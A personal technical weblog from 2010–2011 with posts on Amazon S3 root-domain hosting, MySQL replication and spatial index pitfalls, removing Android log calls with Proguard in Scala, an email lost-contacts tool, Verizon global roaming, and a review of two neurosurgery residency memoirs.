Joseph Barillari's weblog

ENSIME ftw

2011-04-04T20:56:00.000-07:00

If you hack Scala in Emacs, you must try ENSIME. The sbt-shell mode alone is worth the price of admission.

Why you can't run your website from Amazon S3 (at least, not entirely)

2011-02-23T22:24:00.000-08:00

A few days ago, I saw a blog post by Amazon CTO Werner Vogels: "New AWS feature: Run your website from Amazon S3." I wanted to set up a static website at barillari.org and thought this would be a great way to do it.

After uploading my files to S3, I edited my DNS settings. I tried adding a CNAME record to point barillari.org to s3-website-us-east-1.amazonaws.com. For some reason, GoDaddy refused to let me do this. Googling eventually led me to this page, which explained that RFC 1034 prohibits creating a CNAME for the root of a domain. In other words, while I could point www.barillari.org to S3, I couldn't point barillari.org to S3. I would have to set up a server somewhere to server redirects from barillari.org to www.barillari.org.

I'm not the first to post about the root CNAME issue: there are some comments about it on Dr. Vogels's initial post, and even a reply from Dr. Vogels where he tells a reader to "redirect {mysite}.com to www.{mysite}.com." (How is the user supposed create a redirect using only S3? Read on.)

Less than 12 hours ago, Dr. Vogels followed up with a new post, "Free at Last - A Fully Self-Sustained Blog Running in Amazon S3." He explains that by switching to Disquis for comments and Bing for search, he was able to move his blog entirely to S3.

Entirely? How did he solve the redirection problem? Let's see:

$ host allthingsdistributed.com
allthingsdistributed.com has address 74.208.227.55
allthingsdistributed.com mail is handled by 10 mx01.1and1.com.
allthingsdistributed.com mail is handled by 10 mx00.1and1.com.

Whom does that address belong to?

$ whois 'n 74.208.227.55'
#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=74.208.227.55?showDetails=true&showARIN=false
#

NetRange: 74.208.0.0 - 74.208.255.255
CIDR: 74.208.0.0/16
OriginAS:
NetName: 1AN1-NETWORK
NetHandle: NET-74-208-0-0-1
Parent: NET-74-0-0-0-0
NetType: Direct Allocation
NameServer: NSA2.1AND1.COM
NameServer: NSA.1AND1.COM
Comment: For abuse issues, please use only abuse@1and1.com
RegDate: 2006-11-22
Updated: 2009-08-12
Ref: http://whois.arin.net/rest/net/NET-74-208-0-0-1

It doesn't look like 74.208.227.55 belongs to S3. Let's see what happens when we connect:

$ telnet allthingsdistributed.com 80
Trying 74.208.227.55...
Connected to allthingsdistributed.com.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: allthingsdistributed.com

HTTP/1.1 200 OK
Content-Length: 79640
Content-Type: text/html
Content-Location: http://allthingsdistributed.com/index.html
Last-Modified: Thu, 24 Feb 2011 02:21:34 GMT
Accept-Ranges: bytes
ETag: "af7bb38ec9d3cb1:447"
Server: Microsoft-IIS/6.0 <--- Definitely not S3
X-Powered-By: ASP.NET
Date: Thu, 24 Feb 2011 06:43:43 GMT

It looks like allthingsdistributed.com still points to Dr. Vogels's old server. If you go to www.allthingsdistributed.com, however, the site is indeed served from S3:

$ telnet www.allthingsdistributed.com 80
Trying 72.21.203.159...
Connected to s3-website-us-east-1.amazonaws.com.
Escape character is '^]'.
HEAD / HTTP/1.1
Host: www.allthingsdistributed.com

HTTP/1.1 200 OK
x-amz-id-2: JycRZ0LH9NSGYyM6A+B24cSpSs5AsMUTH8wn95OoVwnOcrDQ/Q2/xbcldydB+IGQ
x-amz-request-id: 18BBB3B91F04D1B6
Date: Thu, 24 Feb 2011 06:50:53 GMT
Cache-Control: no-cache
Last-Modified: Thu, 24 Feb 2011 02:25:20 GMT
ETag: "000d8cb6f9e84d4012aaa0739c48038d"
Content-Type: text/html
Content-Length: 79640
Server: AmazonS3

What does this mean? It means that there is still one final dependency if you want to serve your site from S3. Unless you want to ignore users who go to {mysite}.com instead of www.{mysite}.com, you need a web server that redirects users from {mysite}.com to www.{mysite}.com. Apache's mod_rewrite can do this. In fact, the manual for mod_rewrite even provides an example of how to do exactly that.

A generously-minded individual (or AWS) could even set up one redirection server for everyone who wanted to host their second-level domain in S3. Those who wanted to host their sites in S3 could just point the root A record for their domain to the redirector, which could be an Apache server with a mod_rewrite configuration that looks something like this:

RewriteCond %{HTTP_HOST}   ^[^.]+\.[a-z]+$ [NC]
RewriteRule ^/?(.*)         http://www.%{HTTP_HOST}/$1 [L,R=301,NE]

[I haven't tested this and am not an Apache expert, so please let me know if you can't perform %{variable} substitution in a RewriteRule.]

Until such a service exists, you will still need an HTTP server elsewhere in order to host your entire site in S3.

[How did I solve this issue? I avoided it. I put the content in EBS and served it from an EC2 instance. I use EC2 for other projects and have always been pleased with it.]

Update: See Dr. Vogels's response in the comments.

Great title, poor execution

2011-02-21T11:57:00.000-08:00

I saw this article earlier today:

http://joncrawford.com/how-i-got-kicked-out-of-y-combinator-and-rais

It turns out that being "kicked out of Y Combinator" was less dramatic than I thought. I was kind of expecting the author would describe having his epaulettes hipster goatee ceremoniously torn off, his iPad shattered, his Twitter account cancelled, his Posterous background replaced with Goatse, and being stripped to his undershorts, rolled in honey and feathers, and dumped just outside the border of Mountain View.

Troubleshooting mysql replication

2011-01-29T16:44:00.000-08:00

PROTIP: When you're stuck on "Waiting to reconnect after a failed master event read" or some other equally unhelpful error message, start the slave mysqld on the console. You'll get much more useful error mesages that Ubuntu appears to be to be filtering from syslog, like:

110130 0:41:25 [ERROR] Error reading packet from server: Access denied; you need the REPLICATION SLAVE privilege for this operation ( server_errno=1227)

PROTIP 2: Note that the replication will start as soon as you fix the problem, so you might want to run it using 'screen' so you can wait for an opportune time to kill the slave mysqld and restart it using /etc/init.d/mysql start or start mysql or whathaveyou.

Sharing EBS snapshots on EC2

2011-01-29T14:21:00.000-08:00

If you want to share an EBS volume snapshot on EC2 with another account the Amazon documentation explains how: find the account number of the target account, right-click the snapshot on the management console, choose permissions, and add the account number. What the instructions don't say is that you can't actually create a volume from that snapshot on the target account---it won't show up on the list. You have to use the command-line tool ec2-create-snapshot.

Excising android.util.Log calls when you publish your Android app

2011-01-03T01:42:00.000-08:00

The Android platform includes support for debuggers, but since real programmers don't use debuggers (and because I'm not using Eclipse), I use the equivalent of printf: android.util.Log to follow what's going on in my programs

Because there's no macro processor in Java (or Scala, which I'm actually using), there are two standard ways to remove debugging statements from your code before you ship it:

Prefix every call to the logging function with an if statement:
```
if (GlobalConstants.DEBUG) Log.v(GlobalConstants.LOG_TAG, "isBetterLocation(): isSignificantlyNewer->ret true")
```
A Makefile (or whatever your build system) can set GlobalConstants.DEBUG appropriately. This is regrettably verbose.* It also doesn't actually eliminate the code: maybe the Scala compiler isn't optimizing hard enough, but when I disassemble the class files (actually, the dex files), they're still there, wasting precious bytes, even though they never will be called.**

Tell Proguard to eliminate the calls to logging functions with a configuration directive like:
```
-assumenosideeffects class android.util.Log {public static int v(...);public static int d(...);public static int w(...);public static int i(...);}
```
Since I'm running Proguard anyway (the Scala Build Tool Android plugin runs it by default), this would seem to be the best way.

The only problem was that Method #2 didn't work. I tried loads of variants on the class specification for -assumenosideeffects, but the Log statements kept showing up in the code.

It turned out that there were no less than two reasons why it wasn't working.

The first was that the scala-build-tool Android plugin had switched off Proguard's optimization by adding the -dontoptimize switch in AndroidProject.scala:


def proguardTask = task {
 val args = "-injars" ::  mainCompilePath.absolutePath+File.pathSeparator+
                          scalaLibraryJar.getAbsolutePath+"(!META-INF/MANIFEST.MF,!library.properties)"+
                          (if (!proguardInJars.getPaths.isEmpty) File.pathSeparator+proguardInJars.getPaths.map(_+"(!META-INF/MANIFEST.MF)").mkString(File.pathSeparator) else "") ::                          
            "-outjars" :: classesMinJarPath.absolutePath ::
            "-libraryjars" :: libraryJarPath.getPaths.mkString(File.pathSeparator) ::
            "-dontwarn" :: "-dontoptimize" :: "-dontobfuscate" ::      // <------ ROFL                 "-keep public class * extends android.app.Activity" ::                   "-keep public class * extends android.app.Service" ::                  [definition continues ...]

Fortunately, that was easy to fix once I knew what to look for. I copied proguardTask into the MainProject class of my project/build/MyProjectName.scala project definition file, slapped on an override, and deleted the offending "-dontoptimize" (and "-dontobfuscate", too).

Despite that fix, Proguard still wouldn't erase the Log calls. Casting around for the second reason (and wondering why I didn't just solve this problem with a few calls to sed in a Makefile), I unzipped the generated .apk and disassembled the classes.dex file with dedexer. Inside was code like this:


sget-object v1,com/mycode/android/GlobalConstants$.MODULE$ Lcom/mycode/android/GlobalConstants$;
invoke-interface {v1},com/mycode/android/GlobalDebugState/DEBUG ; DEBUG()Z
move-result v1
if-eqz v1,l1d01c
sget-object v1,com/mycode/android/GlobalConstants$.MODULE$ Lcom/mycode/android/GlobalConstants$;
invoke-virtual {v1},com/mycode/android/GlobalConstants$/LOG_TAG ; LOG_TAG()Ljava/lang/String;
move-result-object v1
const-string v2,"clickTakePicture: erasing picture..."
invoke-static {v1,v2},android/util/Log/v ; v(Ljava/lang/String;Ljava/lang/String;)I
move-result v1
invoke-static {v1},java/lang/Integer/valueOf ; valueOf(I)Ljava/lang/Integer;
l1d01c:
(code continues...)

Note that after the call to Log.v, the program is doing something with the result of that function: it's calling valueOf on the result. Why on earth is it doing this?

My guess was that it had something to do with the fact that the if statement in Scala is also an expression: it evaluates to the value of the last expression in the code block it executed. So you can write the following:


scala> 3 + (if (1>2) 5 else 6)
res0: Int = 9

I hypothesized that the Scala compiler was keeping the result of the Log.v function call around so that if (GlobalConstants.DEBUG) would be able to return a value. Now, it shouldn't have done so, because I wasn't actually using the if expression. Call this a bug in Scala. Proguard, noticing that the program was doing something with the return value of Log, refused to optimize it away.

On that hunch, I tried removing all of the if (GlobalConstants.DEBUG) conditionals. The Log statements disappeared. Success!

Well, not quite. Because every code block in Scala evaluates to the value of the last expression evaluated inside that block, there were code blocks where the call to Log was the last such call. For instance, this case, where I was using pattern matching as flow control but ignoring the return value of the match:


   mevt.getAction match {
      case x:Int if x == MotionEvent.ACTION_DOWN || x == MotionEvent.ACTION_MOVE => {
         mLastTB = topBottomNeither
         mLastY = mevt.getY
         Log.v(SQConstants.LOG_TAG, "onTouchEvent started new state:" + mLastTB  + " mevtY:" + mLastY)
       }
      case _ => null
   }

To get the Scala compiler to discard the return value from that Log.v, I inserted a null after it, as the last expression in the case x... block above. Success!

Well, not exactly. Now my code is peppered with unnecessary nulls (or any literal). I should track down the offending bug in Scala, but I think I've sunk enough time into this one already.) And, to make matters worse, -assumenosideeffects eliminates the function calls but won't optimize away any expressions in the arguments to the log functions: e.g., if you have the line:


   Log.v(Constants.LOG_TAG, " NPT.before() called on ctx:" + context);

You get this (completely unused) computation in the output:


.line 623
     new-instance    v0,scala/collection/mutable/StringBuilder
     invoke-direct   {v0},scala/collection/mutable/StringBuilder/      ; ()V
     const-string    v1," NPT.before() called on ctx:"
     invoke-virtual  {v0,v1},scala/collection/mutable/StringBuilder/append   ; append(Ljava/lang/Object;)Lscala/collection/mutable/StringBuilder;
     move-result-object      v0
     invoke-virtual  {v0,v8},scala/collection/mutable/StringBuilder/append   ; append(Ljava/lang/Object;)Lscala/collection/mutable/StringBuilder;
     move-result-object      v0
     invoke-virtual  {v0},scala/collection/mutable/StringBuilder/toString    ; toString()Ljava/lang/String;

[note that you have to turn off obfuscation to see the actual method and object names]

We could tell Proguard to assumenosideeffects for scala.collection.mutable.StringBuilder, but then it might optimize away .append calls that we do want. What would be ideal would be if we could tell Proguard that calls on the StringBuilder object had no side effects except on that object itself, so that it could notice that the object was never used and delete it. This is really the sort of thing a compiler should do, though---all the more reason why it would be ideal if a construct like


if(GlobalObject.DEBUG) whatever()

...would be dropped by the compiler if GlobalObject.DEBUG were declared both false and final.

Conclusion: short of hacking a macro processor (read:sed, because I'm lazy) into the build process, there's no easy way to conditionally and completely excise those debugging statements. I'm going to leave them. Users won't see them, but they will take up (a negligable amount of) space and waste (a negligable number of) cycles.

* Famed hacker Jamie Zawniski had this complaint decade ago. A StackOverflow poster notes that, to this day, #ifdefDEBUG is still hard to simulate in Java.

** Computer storage may be infinite, but mobile phones are small and wireless connections are slow.

"Incorrect string value"

2010-12-16T23:14:00.000-08:00

If you see an "Incorrect string value" error in Django and you're using MySQL, run

SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'your-table-name'

and check the CHARACTER_SET_NAME for the column in question.

If it's not set correctly (e.g., it's latin1 and you're trying to insert utf8), change it with

alter table table modify column type character set utf8;

Restarting e16 if you can't use the menu

2010-12-16T22:25:00.000-08:00

I use the enlightenment window manager, largely because I'm used to it. E16 is pretty stable, but sometimes it gets wedged and needs to be restarted. Fortunately, E retains its state between restarts. Just Mouse-3 the desktop and pick "Restart Enlightenment".

But what if E is so wedged that you can't middle-click the desktop? Suppose, say, the alt-tab menu is on the screen, hogging the focus, and won't go away? You could just kill E, but then you'd have to reopen and reposition all of your windows again.

Solution: ctrl-alt-f1 to a virtual console, log in, and run eesh, the command-line interface to Enlightenment. Like this:

$ env DISPLAY=:0 eesh
restart

PROTIP: X11 fixed font failure

2010-12-07T10:25:00.001-08:00

This is the first good explanation I've seen of the infamous X11/vnc error:

Fatal server error:
could not open default font 'fixed'

http://www.x.org/wiki/FAQErrorMessages#Ikeepgettingtheerrormessage.3Acouldnotopendefaultfont.27fixed.27

PROTIP (for nerds)

2010-11-16T13:39:00.000-08:00

If you're not running anything on port 443, forward it to 22. That way, if you find yourself stuck behind a fascist firewall*, you can still ssh to your personal machine.

* like the one on megabus

google = win. ec2.micro+ubuntu+openjdk= fail.

2010-11-11T16:32:00.000-08:00

I tried to install OpenJDK on an Amazon EC2 micro instance. The terminal stopped echoing. The machine wasn't taking new ssh connections. I checked the system log---a kernel panic! Charming. I rebooted. Same deal. I stopped the instance and brought it up a few seconds later, thinking it might send me to a new dom-0 host. Tried the install again. Nope, same issue.

Then I typed "ec2 micro kernel panic" into Google. Third hit:

William's Blog | Like running with scissors, only more dangerous

Apparently installing OpenJDK using apt-get on Ubuntu 10.04 on an AWS EC2 Micro instance causes a kernel panic. I don't know why, and apparently neither ...

Here's the official bug report. The problem has something to do with the VM system. The workaround is to boot any other kind of instance (say, small), install java on that, then shut it down, change it to micro, and boot it. My workarounds would be to use another JRE like cacao or jamvm (too bad neither of them successfully runs the Google Closure Compiler, which was the point of putting Java on the micro instance), or just do the compilation elsewhere.

Hey, at least Google still works.

Thinking before typing (MySQL spatial indices gotcha)

2010-10-29T07:38:00.000-07:00

"SQL, Lisp, and Haskell are the only programming languages that I’ve seen where one spends more time thinking than typing." --Philip Greenspun

MySQL, I just learned, has a geometry data type and supports R-tree indices, which could be very helpful for a new project I'm exploring. I wanted to combine a geometric lookup with a temporal lookup, but discovered that the naive way of doing so has some pitfalls.

Here was idea #1:


create table gt4 (g point not null, t datetime not null, spatial index(g), index(t), index(t,g));

If I put a few sample values into that table:


insert into gt4 (g,t) values (GeomFromText('Point(8 8)'), '2008-01-01 11:55');
insert into gt4 (g,t) values (GeomFromText('Point(81 80)'), '2009-01-01 11:55');
insert into gt4 (g,t) values (GeomFromText('Point(1 0)'), '2008-01-01 11:55');

...it worked as expected:


> select t, AsText(g) from gt4 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g);
+------+------------+
| t    | AsText(g)  |
+------+------------+
|   10 | POINT(8 8) |
|   10 | POINT(1 0) |
+------+------------+
2 rows in set (0.00 sec)

But, if I were to make a very small change---which is to say, reversing the arguments of the last index()...


create table gt5 (g point not null, t datetime not null, spatial index(g), index(t), index(g,t));

If we reinsert the same values, things seem to work:


insert into gt5 (g,t) values (GeomFromText('Point(8 8)'), '2008-01-01 11:55');
insert into gt5 (g,t) values (GeomFromText('Point(81 80)'), '2009-01-01 11:55');
select t, AsText(g) from gt5 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g);
+---------------------+------------+
| t                   | AsText(g)  |
+---------------------+------------+
| 2008-01-01 11:55:00 | POINT(8 8) |
+---------------------+------------+
1 row in set (0.00 sec)

But if we add that last row...


insert into gt5 (g,t) values (GeomFromText('Point(1 0)'), '2009-01-01 11:55');

Then select...


> select t, AsText(g) from gt5 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g);
Empty set (0.00 sec)

Say what?

MySQL uses a different index in each case. For table gt4, it picks the spatial index:


mysql> show create table gt4\G
*************************** 1. row ***************************
     Table: gt4
Create Table: CREATE TABLE `gt4` (
`g` point NOT NULL,
`t` int(11) DEFAULT NULL,
SPATIAL KEY `g` (`g`),
KEY `t` (`t`),
KEY `t_2` (`t`,`g`(25))
) ENGINE=MyISAM DEFAULT CHARSET=latin1
1 row in set (0.00 sec)


mysql> explain select t, AsText(g) from gt4 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g)\G
*************************** 1. row ***************************
         id: 1
select_type: SIMPLE
      table: gt4
       type: range
possible_keys: g
        key: g
    key_len: 34
        ref: NULL
       rows: 2
      Extra: Using where
1 row in set (0.00 sec)

Whereas for gt5, it uses the combined index:


mysql> show create table gt5\G
*************************** 1. row ***************************
     Table: gt5
Create Table: CREATE TABLE `gt5` (
`g` point NOT NULL,
`t` datetime NOT NULL,
SPATIAL KEY `g` (`g`),
KEY `t` (`t`),
KEY `g_2` (`g`(25),`t`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1
1 row in set (0.00 sec)

mysql> explain select t, AsText(g) from gt5 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g)\G
*************************** 1. row ***************************
         id: 1
select_type: SIMPLE
      table: gt5
       type: range
possible_keys: g,g_2
        key: g_2
    key_len: 27
        ref: NULL
       rows: 1
      Extra: Using where
1 row in set (0.00 sec)

The documentation explains that combined indices concatenate the columns together. Apparently, this doesn't play nicely with geometry queries.

International roaming with Verizon Wireless

2010-10-17T00:53:00.000-07:00

Verizon Wireless's may have the best coverage in the U.S., but, regrettably, its handsets use a radio technology that hasn't caught on in most of the world. In most foreign countries, it's impossible to roam with a Verizon CDMA handset. I wanted to continue to receive email on my phone while abroad for a few weeks. Options included buying a GSM phone before I arrived and purchasing local SIM cards, buying a GSM phone in-country and purchasing local SIM cards, or buying a global phone and a global data plan from AT&T. Happily, just before I left I happened upon a Verizon program designed exactly for this: the GlobalEmail program coupled with the amazingly under-advertised Global Travel program.

GlobalEmail gives you flat-rate unlimited data plan while traveling. Global Travel loans you a handset that works abroad. Verizon markets a small number of phones that include both GSM and CDMA radios. In the Global Travel program, they will FedEx you one for your trip which you return after arriving back in the U.S. You can keep your number, so there's no need to set up call forwarding, as you would if you bought foreign SIM cards. (Google Voice won't forward to international numbers, but I assume that there exist paid services that will.) Voice calls are quite expensive ($2/min and up for all but a small handful of countries), although Verizon offers a roughly 20% discount if you pay an extra $5 per month. I might have had to take a long call or two, so I opted for this.

Unfortunately, none of Verizon's global phones run Android. I received a Samsung Saga, which runs Windows Mobile 6.1. The Saga was a candybar-format phone with an amazing array of input methods: a physical keyboard, a touchpad that toggled between moving a mouse cursor and scrolling through interface widgets, and a touchscreen supporting both stylus and (imprecise) fingertip input. The phone was never quite as easy-to-use as the Droid with its paltry two input methods (keyboard and fingertip touchscreen). The UI was also not as slick. I never got the hang of scrolling in large web pages. But it was certainly serviceable: I managed to book lodging, read news, answer email, send and receive Google Voice SMS messages, and even make the occasional phone call.

The chief inconvenience of the program was setting up the phone. Microsoft's email client was a bit under-documented. I had to Google to learn that to override the default ports for mail transport, one had to use server:port notation. Mail-checking and web-surfing were noticeably slower than they were on the Droid, although this may have been a function of the networks I used (mostly Vodafone). I ran into a surprising number of total dead spots, most of which were along train routes in Greece.

Some warts included the USB cable, which confusingly deactivated the phone' radio when I plugged it into a Windows machine. The GPS module didn't feed data to Google Maps (or maybe I never set it up properly), so I was usually stuck with "your location within 500 meters" reports. The built-in browser did not identify itself as (or perhaps Wikipedia did not notice it as) a mobile browser, so Wikipedia sent me to its bandwidth-hogging conventional site instead of its bandwidth-sipping mobile site, as it would on the Droid. Battery life was miserable, but no worse than it was on the Droid. (An unfair comparison: I have far more background monitoring processes running on the droid.) It was really hard to scroll large web pages: switching to mouse mode and click-dragging with the cursor seemed to work, but if a page got stuck reloading, you would have to wait a while.

The good: Very light. Nice form factor---you can use the physical keyboard and even dial one-handed and perhaps without looking at the phone. Worked as advertised. I sent 114 messages with the phone.

The bad: Confusing input methods. Occasionally sluggish UI. Took ages to set up two email accounts. Non-working (or very well-hidden) GPS. No compass, so Google Maps showed my location as a dot, not as an arrow.

The strange: A tiny mirror on the back of the phone, perhaps for composing self-portraits with the camera.

If you're a Verizon customer and are visiting a GSM country, this program is highly recommended. If you plan to travel to GSM countries often, however, it may be worthwhile to buy a global phone and keep it, to avoid having to set-up the phone each time.

The Incredible Shrinking Android

2010-09-10T20:33:00.000-07:00

I've been porting the forget-me-never app to Android. To avoid reinventing the wheel, I copied its mail-account-configuration and mail-fetching functions from k9mail. They worked just fine, except for one odd problem: when I used the account-configuration wizard, every time I advanced from screen to screen, the widgets got smaller and smaller. If I toggled back and forth between two pages, I could get them to shrink to the point where the text was completely unreadable.

Strangely, this only happened on the Droid -- it didn't happen in the emulator. (One difference might be that the emulator was running Android 2.0.1 and the Droid was running 2.2.)

I isolated the offending code by the time-honored technique of shotgun debugging: removing everything from the program until the problem went away, then adding thing until I found the culprit. I had thrown away just about everything when I landed on this code in K9Activity.java.


  public void onCreate(Bundle icicle, boolean useTheme)
  {
      setLanguage(this, K9.getK9Language());
      if (useTheme)
      {
          setTheme(K9.getK9Theme());
      }
      super.onCreate(icicle);
      setupFormats();

      // Gesture detection
      gestureDetector = new GestureDetector(new MyGestureDetector());

  }

Commenting out setLanguage fixed the problem. That was odd, I thought, what would i18n have to do with screen scaling? Here's setLanguage:


public static void setLanguage(Context context, String language)
   {
       Locale locale;
       if (language == null || language.equals(""))
       {
           locale = Locale.getDefault();
       }
       else if (language.length() == 5 && language.charAt(2) == '_')
       {
           // language is in the form: en_US
           locale = new Locale(language.substring(0, 2), language.substring(3));
       }
       else
       {
           locale = new Locale(language);
       }
       Configuration config = new Configuration();
       config.locale = locale;
       context.getResources().updateConfiguration(config,
               context.getResources().getDisplayMetrics());
   }

The last line is the key. It appears to retrieve a DisplayMetrics object from the context (whatever is subclassing K9Activity, in this case) and then passes it back to the context a second time. Somewhere in that reapplication, a scaling factor is getting applied iteratively, because each time a new actvitiy opens, onCreate gets invoked and the widgets get smaller.

I don't know if this is a bug in the k9mail trunk or just an odd interaction with my phone---I'm using an older version of k9mail that I patched for my purposes and am disinclined to replace it just to test this.

Forget-me-never

2010-08-08T13:59:00.001-07:00

I have fourteen years of saved email -- about 290,000 messages. Most of this is useless junk: bulk mail, long-expired announcements, reminders about bills or bank statements, mailing lists, error messages, and spam. But buried in that muck is almost all of my online correspondence since 1996.

Accordingly, that message store can answer important questions. The one I have in mind is: Who did I used to talk to? Who have I fallen out of touch with?

Superficially, this is simple: just write a program to list everyone whom I've emailed and who has emailed me back (or vice versa). Sort them by the date of last contact, let me filter by the number of messages.

That's the C- approach. A better solution would acknowledge that people use different email addresses. Multiple-emails-per-person creates two complications, one minor and one major. The minor complication is that some people will appear in the list multiple times, once for each address. A bigger deal is that some people will get lost. If I only exchange one or two pieces of email with someone (for instance, because we were in a class together and tended to talk in person), but from different addresses, that approach will miss it entirely. I write to someone@corporate-mail.com He responds from someone@personal-mail.com. The naive approach above won't connect those two messages.

Fortunately, email headers often contain names as well as addresses: "Lyndon Johnson ." If you consolidate addresses with the same name or similar names (e.g., normalize "Johnson, Lyndon B." and "Lyndon Baines Johnson" to "Lyndon Johnson"), you might be able to group addresses by person. I implemented another C- solution: it works, but it asks the user about each potential merge. Unfortunately, the low-frequency addresses that you want are also intermixed with spam, so it will take a little while to say "yes" or "no" to each one if your mail store has a fair bit of spam in it -- as mine does. I'll implement a fix for this (perhaps a spam filter) at some point.

I put this together, building on top of my college pal Mihai's super-cool Mail Trends. Here's what it looks like:

You can set the minimum days since the last message observed, minimum messages from, and minimum to. You can also hide an entry for a month, three months, a year (if you want to be reminded to contact someone, but not just yet), or forever (to filter out mail from, say, your cable company help desk).

The system is a bit like etacts, but it isn't hosted---everything lives on your personal computer. (I'm pretty paranoid about email and don't like the idea of a random company having access to it, regardless of how trustworthy they may be. All of the code in this system is open-source, so you can see what it does for yourself.)

Right now, this is strictly nerd-ware: you will need to know a fair bit about basic Un*x tools and possibly a bit of Python programming to get it to work. If the response is positive, I can certainly put together a nicely-packaged version. I think it would make a nice mobile-phone app (so it can remind you "hey, it's been six months since you've talked with x").

If you would like to try it, here's how. Open a shell prompt. (On Windows, you will probably need Cygwin.)

1) Install Python 2.6 (or 2.7) and the Cheetah template language and (optionally) the CherryPy web development system, version 3. On a Debian/Ubuntu-based system, you should be able to just type:
$ sudo apt-get install python-cheetah python2.6 python-cherrypy3

2) Download mail-trends-lost-contacts.tar.gz. (If you prefer, you can also download mail-trends and apply my patch instead.)

3) Run the program. If you use Gmail, the command will be something like:

python2.6 main.py --server=imap.gmail.com --use_ssl --username=you@gmail.com --me=you@gmail.com,you@some.other.place.com --skip_labels

Be sure to replace you@gmail.com with your actual address and list all of the addresses from which you send or receive mail under --me=, separated with commas. (If you don't list them, the program can't figure out which messages are actually from or to you.

If you use a non-Gmail imap server, the command is slightly different:

python2.6 main.py --me=you@school.edu,you@work.com,you@personal.net --server=your.imap.server.com --use_ssl --username=YOUR_IMAP_USERNAME --skip-mailboxes=spam,trash

Instead of specifying --skip-mailboxes=, you can also specify --include-mailboxes=, which will include only the mailboxes listed.

If you want to try the address-consolidation feature (which will ask you lots of questions), add the option --interactive-disambiguation. If you want to use the "remind me in x days" feature, add the option "--web-server=10000", where 10000 is the port on which to run the web server.

To use the system, go to http://127.0.0.1:10000/ in your browser (if you used the --web-server option, setting the port appropriately) or open the file out/index.html (if you didn't use that option).

Enjoy. Let me know what you think.

More running fail

2010-07-16T16:53:00.001-07:00

I had a nice course sketched out --- 5,000 m, so I could feel like I was back in high school again (albeit more out of shape. Lol old age):

Regrettably, the stairway on the Boston side of the river was closed, so I had an unexpected detour through BU. (Which was already holding an orientation. School starts early, I guess.)

Lol smoothing

2010-07-13T11:53:00.000-07:00

This is the route that Google's otherwise great My Tracks said that I ran today:

Note that I did not actually run from Watsontown, PA to Midville, PA in 23 and a half minutes.

PROTIP: Just before you hit "Record" in My Tracks, be sure to use GPS Status (another free Android Market download) to make sure you have a GPS fix first.

Two residency biographies

2010-07-12T19:21:00.000-07:00

Frank Vertosick. When The Air Hits Your Brain: Parables of Neurosurgery. Fawcett, 1988.

Katrina Firlik. Another Day in the Frontal Lobe: A Brain Surgeon Exposes Life on the Inside. Random House, 2006.

Drs. Vertosick and Firlik wrote remarkably different books about the same subject: their neurosurgery residency. Both trained in the same system: the University of Pittsburgh Medical Center, separated by 14 years. Vertosick finished in 1988, whereas Firlik finished in 2002.

Vertosick's book is a series of case anecdotes from his training, interspersed with some reflections on the profession. Firlik's book includes a handful of case anecdotes, but the bulk of the text is expository rather than narrative. Item: Firlik discusses the dangers of misdiagnosing dementia as Alzheimer's or old age when it could be a tumor or normal-pressure hydrocephalus. Vertosick describes a case of "rolling out" a "big, juicy" meningioma in a patient most everyone but her surgeons thought was hopelessly demented. She made a full recovery. Item: Firlik describes the sophisticated skull-drills that stop running as soon as the bone is drilled through. Vertosick relates the first neurosurgical case he observed, where the junior resident cheerfully explained that the clutch that stops the drill before it hits brain tissue -- then screamed curses and hustled Vertosick out of the room as the drill unexpectedly pierced straight through the skull and into the patient's brain.

For would-be patients, Firlik's book is undoubtedly the better of the two. The worst of the fratboy joshing that Firlik mentions is a pinup poster. In Vertosick's book, the high-water mark comes when Fred, the chief resident, "steals" a case from Gary, a senior resident: he performs the entire operation himself, then leaves Gary the ignominious task of closing the wound. Gary contents himself by carving "Fred Sucks" on the inside of the patient's skull---where he expected no-one would ever see it. Unfortunately for all parties, the patient developed an infection and the bone flap had to be removed, leaving Fred red-faced and screaming as he saw the "skull-o-gram." It's not the book one would give grandpa before spine surgery.

I preferred Vertosick's "case anecdotes with minimal filler" approach. Vertosick never discusses his childhood. Firlik confesses to being a bit of a neat freak. As a child, her belongings were meticulously organized; she even fantasized about being a cleaning lady. She describes a first-date with her over Indian food, her desire for an outdoor lifestyle, her pity for those with desk jobs. Vertosick never mentions what he does outside the hospital. Firlik relates her interests in Japanese language, food, culture, packaging, and architecture.

Item: Dr. Firlik shares a pizza with her husband in a tony Italian restaurant, then being paged and rushing off to see a patient with a stroke and skyrocketing intercranial pressure. Her husband, also a neurosurgeon (but one who left the practice to be a venture capitalist) calmly boxes up the food as she rushes to the hospital. Vertosick shares a pizza with Gary the senior resident in a cheap dive by the medical center (the latter takes half the pizza, folds it on itself, and begins chewing), then is interrupted by a car crash and spinal trauma.

Significant others do not enter into Vertosick's memoir except in passing. Firlik met her husband in college and had been married to him for over ten years. Perhaps Firlik's story is the more unusual of the two: a friend told me that one of his neurosurgery-residency interviewers advised him to pick his residency carefully, "since it will last longer than your first marriage."

While Vertosick may have omitted the details of his life, he describes the psychological hardening effect of surgical training. The lengthiest introspective segment in Vertosick's memoir is one such instance: operating to clip an aneurysm, he slips, punctures the vessel, leaving the patient a vegetable. He calls Gary, now long-since departed for to another hospital, who chain-smokes and tells him that if he's going to feel sorry for himself, he should hang up his mask, sit by a phone, and hand off patients to other brain surgeons. Firlik doesn't relate such a mistake (perhaps she, via luck or skill, avoided them), but does describe the emotional anguish of telling a young patient he had terminal cancer.

Firlik's book would be most appropriate for reassuring patients about the basics of neurosurgery or reassuring prospective physicians about the possibility of being a brain surgeon yet still having a life. Vertosick's book would likely disabuse prospective physicians of any such notion and would probably move all but the most desperate patients to stick with medical therapy. (As Gary tells Vertosick, "If the patient isn't dead, you can always make him worse.") For the interested non-patient/non-physician, the Vertosick's book comes with my highest recommendation.

What emacs does to your keyboard

2010-07-07T16:07:00.000-07:00

MySQL replication master-change gotcha

2010-07-04T22:33:00.001-07:00

